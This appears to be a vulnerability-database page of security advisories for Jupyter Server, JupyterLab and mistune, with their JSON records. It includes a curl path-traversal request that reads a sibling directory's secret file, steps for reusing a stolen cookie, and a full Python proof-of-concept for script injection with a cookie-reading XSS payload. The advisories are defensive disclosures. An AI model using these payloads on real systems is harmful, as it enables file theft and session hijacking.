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Vulnerability from cleanstart
Package tensorflow-gpu-jupyter version 2.21.0-r5 fixes 28 vulnerabilities: ghsa-rch3-82jr-f9w9, ghsa-mqcg-5x36-vfcg, ghsa-37w4-hwhx-4rc4, ghsa-mf9v-mfxr-j63j, ghsa-5mrq-x3x5-8v8f...
| URL | Type | |
|---|---|---|
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"details": "Package tensorflow-gpu-jupyter version 2.21.0-r5 fixes 28 vulnerabilities: ghsa-rch3-82jr-f9w9, ghsa-mqcg-5x36-vfcg, ghsa-37w4-hwhx-4rc4, ghsa-mf9v-mfxr-j63j, ghsa-5mrq-x3x5-8v8f...",
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"modified": "2026-07-30T09:36:28Z",
"published": "2026-07-30T07:10:53Z",
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"ghsa-mf9v-mfxr-j63j",
"ghsa-5mrq-x3x5-8v8f",
"ghsa-5789-5fc7-67v3",
"ghsa-qccp-gfcp-xxvc",
"ghsa-24qx-w28j-9m6p",
"ghsa-8mp2-v27r-99xp",
"ghsa-qh7q-6qm3-653w",
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"CVE-2026-45409",
"CVE-2026-35397",
"CVE-2026-40110",
"CVE-2026-40934",
"CVE-2025-61669",
"CVE-2026-40171",
"CVE-2026-42266",
"CVE-2026-42557",
"CVE-2026-33079",
"CVE-2026-44897",
"CVE-2026-44898",
"CVE-2026-44899",
"CVE-2026-44431",
"CVE-2026-44432"
]
}
CVE-2026-44897 (GCVE-0-2026-44897)
Vulnerability from cvelistv5 – Published: 2026-05-26 20:40 – Updated: 2026-06-01 17:09- CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
| URL | Tags |
|---|---|
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CVE-2026-44898 (GCVE-0-2026-44898)
Vulnerability from cvelistv5 – Published: 2026-05-26 20:41 – Updated: 2026-05-27 17:57- CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
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|---|---|
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CVE-2026-44899 (GCVE-0-2026-44899)
Vulnerability from cvelistv5 – Published: 2026-05-26 20:36 – Updated: 2026-05-27 13:31- CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
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|---|---|
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CVE-2026-45409 (GCVE-0-2026-45409)
Vulnerability from cvelistv5 – Published: 2026-06-05 22:06 – Updated: 2026-06-08 16:34- CWE-1333 - Inefficient Regular Expression Complexity
| URL | Tags |
|---|---|
| https://github.com/kjd/idna/security/advisories/G… | x_refsource_CONFIRM |
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GHSA-24QX-W28J-9M6P
Vulnerability from github – Published: 2026-05-05 16:54 – Updated: 2026-07-31 20:27Jupyter Server uses re.match() to validate the Origin header against the allow_origin_pat configuration.
Since re.match() only anchors at the start of the string, an attacker who controls a domain like http://trusted.example.com.evil.com/ passes validation against a pattern intended to match only trusted.example.com.
Impact
<=2.17.0
Patches
057869a327c46730afede3eab0ca2d2e3e74acea, 49b34392feaa97735b3b777e3baf8f22f2a14ed8
Workarounds
Wrap your allow_origin_pat value with ^ and $
References
https://github.com/jupyter-server/jupyter_server/pull/603 https://docs.python.org/3/library/re.html#re.fullmatch https://docs.python.org/3/library/re.html#re.match
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},
"ranges": [
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"events": [
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"introduced": "0"
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{
"fixed": "2.18.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
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],
"database_specific": {
"cwe_ids": [
"CWE-625",
"CWE-777"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-05T16:54:31Z",
"nvd_published_at": "2026-05-05T22:16:00Z",
"severity": "HIGH"
},
"details": "Jupyter Server uses `re.match()` to validate the Origin header against the `allow_origin_pat` configuration.\n\nSince `re.match()` only anchors at the start of the string, an attacker who controls a domain like `http://trusted.example.com.evil.com/` passes validation against a pattern intended to match only `trusted.example.com`.\n\n### Impact\n\n\u003c=2.17.0\n\n### Patches\n\n057869a327c46730afede3eab0ca2d2e3e74acea, 49b34392feaa97735b3b777e3baf8f22f2a14ed8 \n\n### Workarounds\n\nWrap your `allow_origin_pat` value with `^` and `$`\n\n### References\n\nhttps://github.com/jupyter-server/jupyter_server/pull/603\nhttps://docs.python.org/3/library/re.html#re.fullmatch\nhttps://docs.python.org/3/library/re.html#re.match",
"id": "GHSA-24qx-w28j-9m6p",
"modified": "2026-07-31T20:27:11Z",
"published": "2026-05-05T16:54:31Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/jupyter-server/jupyter_server/security/advisories/GHSA-24qx-w28j-9m6p"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40110"
},
{
"type": "WEB",
"url": "https://github.com/jupyter-server/jupyter_server/pull/603"
},
{
"type": "WEB",
"url": "https://github.com/jupyter-server/jupyter_server/commit/057869a327c46730afede3eab0ca2d2e3e74acea"
},
{
"type": "WEB",
"url": "https://github.com/jupyter-server/jupyter_server/commit/49b34392feaa97735b3b777e3baf8f22f2a14ed8"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:43038"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2026-40110"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2466912"
},
{
"type": "PACKAGE",
"url": "https://github.com/jupyter-server/jupyter_server"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/jupyter-server/PYSEC-2026-2187.yaml"
},
{
"type": "WEB",
"url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-40110.json"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:L/SC:L/SI:L/SA:L",
"type": "CVSS_V4"
}
],
"summary": "Jupyter Server has a CORS Origin Validation Bypass via `re.match()` in `allow_origin_pat`"
}
GHSA-37W4-HWHX-4RC4
Vulnerability from github – Published: 2026-05-05 20:53 – Updated: 2026-06-08 20:15The allow-list of extensions that can be installed from PyPI Extension Manager (allowed_extensions_uris) is not correctly enforced by JupyterLab prior to 4.5.7. The PyPI Extension Manager was not contained to packages listed on the default PyPI index.
This has security implications for deployments that: - have allow-listed specific extensions with aim to prevent users from installing packages - have the kernel and terminals disabled or delegated to remote hosts (thus no access to install packages in the single-user server environment) - have multi-tenant deployments that is not configured for untrusted users (as per documented on JupyterHub https://jupyterhub.readthedocs.io/en/5.2.1/explanation/websecurity.html) - have the (default) PyPI Extension Manager enabled
Impact
An authenticated attacker - such as a student in a shared JupyterHub environment or a user in a multi-tenant JupyterLab deployment - can escalate their privileges. This might allow for data exfiltration, lateral movement within the network, and persistent compromise of the server infrastructure.
Patches
JupyterLab v4.5.7 contains the patch.
Users of applications that depend on JupyterLab, such as Notebook v7+, should update jupyterlab package too.
Workarounds
Switch to read-only extension manager by adding the following command line option:
--LabApp.extension_manager=readonly
or the following traitlet:
c.LabApp.extension_manager = 'readonly'
You can confirm that the read-only manager is in use from GUI:
Note: configuration of a PyPI proxy with allow-listed packages is not sufficient to protect from this vulnerability.
References
- allow-list https://jupyterlab.readthedocs.io/en/stable/user/extensions.html#listing-configuration
- https://jupyterhub.readthedocs.io/en/5.2.1/explanation/websecurity.html
- https://jupyterlab.readthedocs.io/en/latest/user/extensions.html#extension-manager-implementations
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.5.6"
},
"package": {
"ecosystem": "PyPI",
"name": "jupyterlab"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.5.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-42266"
],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-602",
"CWE-88"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-05T20:53:18Z",
"nvd_published_at": "2026-05-13T16:16:47Z",
"severity": "HIGH"
},
"details": "The allow-list of extensions that can be installed from PyPI Extension Manager (`allowed_extensions_uris`) is not correctly enforced by JupyterLab prior to 4.5.7. The PyPI Extension Manager was not contained to packages listed on the default PyPI index.\n\nThis has security implications for deployments that:\n- have allow-listed specific extensions with aim to prevent users from installing packages\n- have the kernel and terminals disabled or delegated to remote hosts (thus no access to install packages in the single-user server environment)\n- have multi-tenant deployments that is not configured for untrusted users (as per documented on JupyterHub https://jupyterhub.readthedocs.io/en/5.2.1/explanation/websecurity.html)\n- have the (default) PyPI Extension Manager enabled\n\n### Impact\n\nAn authenticated attacker - such as a student in a shared JupyterHub environment or a user in a multi-tenant JupyterLab deployment - can escalate their privileges. This might allow for data exfiltration, lateral movement within the network, and persistent compromise of the server infrastructure.\n\n### Patches\n\nJupyterLab [`v4.5.7`](https://github.com/jupyterlab/jupyterlab/releases/tag/v4.5.7) contains the patch.\n\nUsers of applications that depend on JupyterLab, such as Notebook v7+, should update `jupyterlab` package too.\n\n### Workarounds\n\nSwitch to read-only extension manager by adding the following command line option:\n\n```bash\n--LabApp.extension_manager=readonly\n```\n\nor the following traitlet:\n\n```python\nc.LabApp.extension_manager = \u0027readonly\u0027\n```\n\nYou can confirm that the read-only manager is in use from GUI:\n\n\u003cimg width=\"293\" height=\"293\" alt=\"image\" src=\"https://github.com/user-attachments/assets/8016c809-633e-4ed0-a5bc-6bc4793caa0f\" /\u003e\n\nNote: configuration of a PyPI proxy with allow-listed packages is not sufficient to protect from this vulnerability.\n\n### References\n\n- allow-list https://jupyterlab.readthedocs.io/en/stable/user/extensions.html#listing-configuration\n- https://jupyterhub.readthedocs.io/en/5.2.1/explanation/websecurity.html\n- https://jupyterlab.readthedocs.io/en/latest/user/extensions.html#extension-manager-implementations",
"id": "GHSA-37w4-hwhx-4rc4",
"modified": "2026-06-08T20:15:06Z",
"published": "2026-05-05T20:53:18Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/jupyterlab/jupyterlab/security/advisories/GHSA-37w4-hwhx-4rc4"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42266"
},
{
"type": "PACKAGE",
"url": "https://github.com/jupyterlab/jupyterlab"
},
{
"type": "WEB",
"url": "https://github.com/jupyterlab/jupyterlab/releases/tag/v4.5.7"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/jupyterlab/PYSEC-2026-164.yaml"
},
{
"type": "WEB",
"url": "https://jupyterhub.readthedocs.io/en/5.2.1/explanation/websecurity.html"
},
{
"type": "WEB",
"url": "https://jupyterlab.readthedocs.io/en/latest/user/extensions.html#extension-manager-implementations"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "JupyterLab has an Extension Manager API/GUI Policy Discrepancy, allowing 3rd party (malicious) extensions install via POST request"
}
GHSA-5789-5FC7-67V3
Vulnerability from github – Published: 2026-05-05 16:49 – Updated: 2026-07-31 20:21Summary
Jupyter Server <=2.17.0 can access directories sibling to the root directory, if it starts with the root dir's name.
PoC
Minimal:
.
├── test/ <- root directory.
│ └── test.txt
└── testtest/
└── secret.txt <- file to exfiltrate that we should not be able to access via API
HOST="http://localhost:8888"
TOKEN=""
SIBLING="testtest"
TARGET="secret.txt"
curl -s -X POST \
"$HOST/api/contents/%2e%2e/$SIBLING/$TARGET/checkpoints" \
-H "Authorization: token $TOKEN"
Full PoC by @stef41: https://gist.github.com/Yann-P/66d4982a965dee8fcb8dd89db29e7006
Impact
It is possible for an authenticated user to access content outside the server's root_dir in siblings directories sharing the same prefix as the root_dir. The attacker can escalate access, reading, writing, and deleting from sibling directories.
This can have a tangible impact for deployments using predictable naming scheme with multi-tenant server, for example user1, user2, user3, ..., user10 etc, as user1 could access and modify files of all user10 - user19 and higher.
In a hypothetical system where users can choose a name of their folder, an attacker could choose a single-letter username to gain access to a significant number of sibling directories.
Workarounds
Use folder names that do not overlap.
Acknowledgments
Thank you to @stef41 for providing a useful PoC.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.17.0"
},
"package": {
"ecosystem": "PyPI",
"name": "jupyter-server"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.18.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-35397"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-05T16:49:10Z",
"nvd_published_at": "2026-05-05T20:16:38Z",
"severity": "HIGH"
},
"details": "### Summary\n\nJupyter Server \u003c=2.17.0 can access directories sibling to the root directory, if it starts with the root dir\u0027s name.\n\n### PoC\n\nMinimal:\n\n```\n.\n\u251c\u2500\u2500 test/ \u003c- root directory.\n\u2502 \u2514\u2500\u2500 test.txt\n\u2514\u2500\u2500 testtest/\n \u2514\u2500\u2500 secret.txt \u003c- file to exfiltrate that we should not be able to access via API\n```\n\n```bash\nHOST=\"http://localhost:8888\"\nTOKEN=\"\"\nSIBLING=\"testtest\"\nTARGET=\"secret.txt\"\n\ncurl -s -X POST \\\n \"$HOST/api/contents/%2e%2e/$SIBLING/$TARGET/checkpoints\" \\\n -H \"Authorization: token $TOKEN\"\n```\n\nFull PoC by @stef41: https://gist.github.com/Yann-P/66d4982a965dee8fcb8dd89db29e7006\n\n### Impact\n\nIt is possible for an authenticated user to access content outside the server\u0027s `root_dir` in siblings directories sharing the same prefix as the `root_dir`. The attacker can escalate access, reading, writing, and deleting from sibling directories.\n\nThis can have a tangible impact for deployments using predictable naming scheme with multi-tenant server, for example `user1`, `user2`, `user3`, ..., `user10` etc, as `user1` could access and modify files of all `user10` - `user19` and higher.\n\nIn a hypothetical system where users can choose a name of their folder, an attacker could choose a single-letter username to gain access to a significant number of sibling directories.\n\n### Workarounds\n\nUse folder names that do not overlap.\n\n### Acknowledgments\n\nThank you to @stef41 for providing a useful PoC.",
"id": "GHSA-5789-5fc7-67v3",
"modified": "2026-07-31T20:21:12Z",
"published": "2026-05-05T16:49:10Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/jupyter-server/jupyter_server/security/advisories/GHSA-5789-5fc7-67v3"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35397"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:43038"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2026-35397"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2466858"
},
{
"type": "PACKAGE",
"url": "https://github.com/jupyter-server/jupyter_server"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/jupyter-server/PYSEC-2026-68.yaml"
},
{
"type": "WEB",
"url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-35397.json"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Jupyter Server: Path Traversal via incorrect startswith() root directory check allows access to sibling directories"
}
GHSA-5MRQ-X3X5-8V8F
Vulnerability from github – Published: 2026-05-05 17:03 – Updated: 2026-06-06 00:27Summary
A persistent cookie secret vulnerability allows authenticated users to maintain indefinite access even after password changes.
The cookie secret used to sign authentication cookies is stored in a permanent file (~/.local/share/jupyter/runtime/jupyter_cookie_secret) that is never automatically rotated or cleared, allowing stolen or compromised cookies to remain valid indefinitely regardless of password resets.
PoC
- Start a Jupyter server with password authentication:
jupyter server password,jupyter server - Log in with the password and capture the authentication cookie (e.g., just login with a browser).
- Change the password to revoke access:
jupyter server password - Restart the server
- Use the old stolen cookie => remains valid and provides full authenticated access.
Impact
- All jupyter-server deployments using password authentication where security incidents may occur
- Multi-user systems where one user's compromised session should be revocable by administrators
- Shared or public-facing Jupyter servers where credential rotation is a security requirement
- Any deployment where password changes are expected to revoke existing sessions
Patches
Jupyter Server 2.18+
Workaround
rm ~/.local/share/jupyter/runtime/jupyter_cookie_secret
# Then restart the server
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.17.0"
},
"package": {
"ecosystem": "PyPI",
"name": "jupyter-server"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.18.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-40934"
],
"database_specific": {
"cwe_ids": [
"CWE-613"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-05T17:03:24Z",
"nvd_published_at": "2026-05-05T22:16:00Z",
"severity": "HIGH"
},
"details": "## Summary\n\nA persistent cookie secret vulnerability allows authenticated users to maintain indefinite access even after password changes. \n\nThe cookie secret used to sign authentication cookies is stored in a permanent file (`~/.local/share/jupyter/runtime/jupyter_cookie_secret`) that is never automatically rotated or cleared, allowing stolen or compromised cookies to remain valid indefinitely regardless of password resets.\n\n## PoC\n\n- Start a Jupyter server with password authentication: `jupyter server password`, `jupyter server`\n- Log in with the password and capture the authentication cookie (e.g., just login with a browser).\n- Change the password to revoke access: `jupyter server password`\n- Restart the server\n- Use the old stolen cookie =\u003e remains valid and provides full authenticated access.\n\n## Impact\n\n- All jupyter-server deployments using password authentication where security incidents may occur\n- Multi-user systems where one user\u0027s compromised session should be revocable by administrators\n- Shared or public-facing Jupyter servers where credential rotation is a security requirement\n- Any deployment where password changes are expected to revoke existing sessions\n\n## Patches\n\nJupyter Server 2.18+\n\n## Workaround\n\n```bash\nrm ~/.local/share/jupyter/runtime/jupyter_cookie_secret\n# Then restart the server\n```",
"id": "GHSA-5mrq-x3x5-8v8f",
"modified": "2026-06-06T00:27:08Z",
"published": "2026-05-05T17:03:24Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/jupyter-server/jupyter_server/security/advisories/GHSA-5mrq-x3x5-8v8f"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40934"
},
{
"type": "PACKAGE",
"url": "https://github.com/jupyter-server/jupyter_server"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/jupyter-server/PYSEC-2026-69.yaml"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Jupyter Server\u0027s Authentication Cookies Remain Valid After Password Reset and Server Restart"
}
GHSA-6269-CQXG-MHHV
Vulnerability from github – Published: 2026-05-14 16:36 – Updated: 2026-06-08 23:30Summary
render_toc_ul() builds a <ul> table-of-contents tree from a list of (level, id, text) tuples. Both the id value (used as href="#<id>") and the text value (used as the visible link label) are inserted into <a> tags via a plain Python format string — with no HTML escaping applied to either value.
When heading IDs are derived from user-supplied heading text (the standard use-case for readable slug anchors), an attacker can craft a heading whose text breaks out of the href="#..." attribute context, injecting arbitrary HTML tags including <script> blocks directly into the rendered TOC.
This vulnerability is closely related to H2 (unescaped id= in heading()): the same heading_id callback pattern that triggers H2 also populates the toc_items list that render_toc_ul() consumes, meaning both vulnerabilities fire simultaneously in a typical documentation setup.
Details
File: src/mistune/toc.py
def render_toc_ul(toc):
...
for level, k, text in toc:
# k = heading id (used verbatim as href fragment)
# text = heading text (used verbatim as link label)
item = '<a href="#{}">{}</a>'.format(k, text)
# Neither k nor text is passed through escape() at any point
The k and text values come directly from the toc_items list accumulated during parsing. If k contains " or >, the href attribute is broken. If text contains <, raw tags are injected as the visible link content.
PoC
Step 1 — Establish the baseline (safe default IDs)
The script creates a parser with escape=True and the default add_toc_hook() (no custom callback). The default hook assigns sequential numeric IDs that never contain user text:
md_safe = create_markdown(escape=True)
add_toc_hook(md_safe)
bl_src = "# Introduction\n\n## Installation\n"
_, state = md_safe.parse(bl_src)
bl_out = render_toc_ul(state.env.get("toc_items", []))
Output — clean, safe TOC:
<ul>
<li><a href="#toc_1">Introduction</a>
<ul>
<li><a href="#toc_2">Installation</a></li>
</ul>
</li>
</ul>
Step 2 — Enable the vulnerable heading_id callback
Register a callback that returns the raw heading text as the ID. This is the standard slug-based anchor pattern used by documentation generators:
def raw_id(token, index):
return token.get("text", "")
md_vuln = create_markdown(escape=True)
add_toc_hook(md_vuln, heading_id=raw_id)
Step 3 — Craft the exploit payload
Construct a heading whose text terminates the href="#..." attribute and injects a <script> block followed by a dangling <a href=" to absorb the closing "> that render_toc_ul appends:
## x"><script>alert(document.cookie)</script><a href="
When raw_id processes this heading, it returns the entire text as the ID: x"><script>alert(document.cookie)</script><a href=".
Step 4 — Observe script injection in the TOC output
ex_src = '## x"><script>alert(document.cookie)</script><a href="\n'
_, state = md_vuln.parse(ex_src)
ex_out = render_toc_ul(state.env.get("toc_items", []))
render_toc_ul() formats the malicious ID directly into the <a href>:
'<a href="#{}">{}</a>'.format(k, text)
# becomes:
'<a href="#x"><script>alert(document.cookie)</script><a href="">...<a/>'
Actual output:
<ul>
<li><a href="#x"><script>alert(document.cookie)</script><a href="">x"><script>alert(document.cookie)</script><a href="</a></li>
</ul>
The <script> block is live in the document. Note that the anchor label (text) is escaped correctly by mistune's inline renderer before it reaches toc_items, but k (the heading ID) is not escaped anywhere.
Script
I have built a script that you can use to verify this. It creates a HTML page showing the bypass so that you can see it render in the browser.
#!/usr/bin/env python3
"""H4: render_toc_ul() puts raw heading ID into <a href> without escaping."""
import os, html as h
from mistune import create_markdown
from mistune.toc import add_toc_hook, render_toc_ul
def raw_id(token, index):
return token.get("text", "")
# --- baseline ---
md_safe = create_markdown(escape=True)
add_toc_hook(md_safe)
bl_file = "baseline_h4.md"
bl_src = "# Introduction\n\n## Installation\n"
with open(os.path.join(os.getcwd(), bl_file), "w") as f:
f.write(bl_src)
_, state = md_safe.parse(bl_src)
bl_out = render_toc_ul(state.env.get("toc_items", []))
print(f"[{bl_file}]\n{bl_src}")
print("[toc output — safe]")
print(bl_out)
# --- exploit ---
md_vuln = create_markdown(escape=True)
add_toc_hook(md_vuln, heading_id=raw_id)
ex_file = "exploit_h4.md"
ex_src = '## x"><script>alert(document.cookie)</script><a href="\n'
with open(os.path.join(os.getcwd(), ex_file), "w") as f:
f.write(ex_src)
_, state = md_vuln.parse(ex_src)
ex_out = render_toc_ul(state.env.get("toc_items", []))
print(f"[{ex_file}]\n{ex_src}")
print("[toc output — script injected via href breakout]")
print(ex_out)
# --- HTML report ---
CSS = """
body{font-family:-apple-system,sans-serif;max-width:1200px;margin:40px auto;background:#f0f0f0;color:#111;padding:0 24px}
h1{font-size:1.3em;border-bottom:3px solid #333;padding-bottom:8px;margin-bottom:4px}
p.desc{color:#555;font-size:.9em;margin-top:6px}
.case{margin:24px 0;border-radius:8px;overflow:hidden;border:1px solid #ccc;box-shadow:0 1px 4px rgba(0,0,0,.1)}
.case-header{padding:10px 16px;font-weight:bold;font-family:monospace;font-size:.85em}
.baseline .case-header{background:#d1fae5;color:#065f46}
.exploit .case-header{background:#fee2e2;color:#7f1d1d}
.panels{display:grid;grid-template-columns:1fr 1fr;background:#fff}
.panel{padding:16px}
.panel+.panel{border-left:1px solid #eee}
.panel h3{margin:0 0 8px;font-size:.68em;color:#888;text-transform:uppercase;letter-spacing:.07em}
pre{margin:0;padding:10px;background:#f6f6f6;border:1px solid #e0e0e0;border-radius:4px;font-size:.78em;white-space:pre-wrap;word-break:break-all}
.rlabel{font-size:.68em;color:#aaa;margin:10px 0 4px;font-family:monospace}
.rendered{padding:12px;border:1px dashed #ccc;border-radius:4px;min-height:20px;background:#fff;font-size:.9em}
"""
def case(kind, label, filename, src, out):
return f"""
<div class="case {kind}">
<div class="case-header">{'BASELINE' if kind=='baseline' else 'EXPLOIT'} — {h.escape(label)}</div>
<div class="panels">
<div class="panel">
<h3>Input — {h.escape(filename)}</h3>
<pre>{h.escape(src)}</pre>
</div>
<div class="panel">
<h3>TOC output — HTML source</h3>
<pre>{h.escape(out)}</pre>
<div class="rlabel">↓ rendered in browser</div>
<div class="rendered">{out}</div>
</div>
</div>
</div>"""
page = f"""<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8">
<title>H4 — TOC XSS</title><style>{CSS}</style></head><body>
<h1>H4 — TOC render_toc_ul() XSS</h1>
<p class="desc">render_toc_ul() in toc.py uses '<a href="#{{}}">{{}}</a>'.format(k, text) —
neither k (the heading ID) nor text is escaped before insertion.</p>
{case("baseline", "Normal headings → sequential IDs → clean TOC links", bl_file, bl_src, bl_out)}
{case("exploit", "Malicious heading ID breaks out of href='#...' → script injected", ex_file, ex_src, ex_out)}
</body></html>"""
out_path = os.path.join(os.getcwd(), "report_h4.html")
with open(out_path, "w") as f:
f.write(page)
print(f"\n[report] {out_path}")
Example usage:
python poc.py
Once you run the script, open report_h4.html in the browser and observe the behaviour.
Impact
| Dimension | Assessment |
|---|---|
| Confidentiality | JavaScript execution; attacker can exfiltrate session cookies and any data accessible from the page's origin |
| Integrity | Arbitrary DOM manipulation, phishing form injection, forced redirects |
| Availability | Page crash or freeze available as secondary effect |
Risk context: TOC generation is a rendering step that often happens in a different template layer from the main body render, potentially reviewed separately and trusted implicitly. Vulnerabilities in TOC output are frequently overlooked in code review. Combined with H2, an attacker exploiting this via a single malicious heading simultaneously injects into both the heading element and the TOC anchor.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "mistune"
},
"ranges": [
{
"events": [
{
"introduced": "3.2.0"
},
{
"fixed": "3.2.1"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"3.2.0"
]
}
],
"aliases": [
"CVE-2026-44898"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-14T16:36:12Z",
"nvd_published_at": "2026-05-26T21:16:39Z",
"severity": "MODERATE"
},
"details": "## Summary\n`render_toc_ul()` builds a `\u003cul\u003e` table-of-contents tree from a list of `(level, id, text)` tuples. Both the `id` value (used as `href=\"#\u003cid\u003e\"`) and the `text` value (used as the visible link label) are inserted into `\u003ca\u003e` tags via a plain Python format string \u2014 with no HTML escaping applied to either value.\n\nWhen heading IDs are derived from user-supplied heading text (the standard use-case for readable slug anchors), an attacker can craft a heading whose text breaks out of the `href=\"#...\"` attribute context, injecting arbitrary HTML tags including `\u003cscript\u003e` blocks directly into the rendered TOC.\n\nThis vulnerability is closely related to H2 (unescaped `id=` in `heading()`): the same `heading_id` callback pattern that triggers H2 also populates the `toc_items` list that `render_toc_ul()` consumes, meaning both vulnerabilities fire simultaneously in a typical documentation setup.\n\n## Details\n**File:** `src/mistune/toc.py`\n\n```python\ndef render_toc_ul(toc):\n ...\n for level, k, text in toc:\n # k = heading id (used verbatim as href fragment)\n # text = heading text (used verbatim as link label)\n item = \u0027\u003ca href=\"#{}\"\u003e{}\u003c/a\u003e\u0027.format(k, text)\n # Neither k nor text is passed through escape() at any point\n```\n\nThe `k` and `text` values come directly from the `toc_items` list accumulated during parsing. If `k` contains `\"` or `\u003e`, the `href` attribute is broken. If `text` contains `\u003c`, raw tags are injected as the visible link content.\n\n## PoC\n**Step 1 \u2014 Establish the baseline (safe default IDs)**\n\nThe script creates a parser with `escape=True` and the default `add_toc_hook()` (no custom callback). The default hook assigns sequential numeric IDs that never contain user text:\n\n```python\nmd_safe = create_markdown(escape=True)\nadd_toc_hook(md_safe)\n\nbl_src = \"# Introduction\\n\\n## Installation\\n\"\n_, state = md_safe.parse(bl_src)\nbl_out = render_toc_ul(state.env.get(\"toc_items\", []))\n```\n\nOutput \u2014 clean, safe TOC:\n```html\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"#toc_1\"\u003eIntroduction\u003c/a\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"#toc_2\"\u003eInstallation\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n```\n\n**Step 2 \u2014 Enable the vulnerable `heading_id` callback**\n\nRegister a callback that returns the raw heading text as the ID. This is the standard slug-based anchor pattern used by documentation generators:\n\n```python\ndef raw_id(token, index):\n return token.get(\"text\", \"\")\n\nmd_vuln = create_markdown(escape=True)\nadd_toc_hook(md_vuln, heading_id=raw_id)\n```\n\n**Step 3 \u2014 Craft the exploit payload**\n\nConstruct a heading whose text terminates the `href=\"#...\"` attribute and injects a `\u003cscript\u003e` block followed by a dangling `\u003ca href=\"` to absorb the closing `\"\u003e` that `render_toc_ul` appends:\n\n```\n## x\"\u003e\u003cscript\u003ealert(document.cookie)\u003c/script\u003e\u003ca href=\"\n```\n\nWhen `raw_id` processes this heading, it returns the entire text as the ID: `x\"\u003e\u003cscript\u003ealert(document.cookie)\u003c/script\u003e\u003ca href=\"`.\n\n**Step 4 \u2014 Observe script injection in the TOC output**\n\n```python\nex_src = \u0027## x\"\u003e\u003cscript\u003ealert(document.cookie)\u003c/script\u003e\u003ca href=\"\\n\u0027\n_, state = md_vuln.parse(ex_src)\nex_out = render_toc_ul(state.env.get(\"toc_items\", []))\n```\n\n`render_toc_ul()` formats the malicious ID directly into the `\u003ca href\u003e`:\n\n```python\n\u0027\u003ca href=\"#{}\"\u003e{}\u003c/a\u003e\u0027.format(k, text)\n# becomes:\n\u0027\u003ca href=\"#x\"\u003e\u003cscript\u003ealert(document.cookie)\u003c/script\u003e\u003ca href=\"\"\u003e...\u003ca/\u003e\u0027\n```\n\nActual output:\n```html\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"#x\"\u003e\u003cscript\u003ealert(document.cookie)\u003c/script\u003e\u003ca 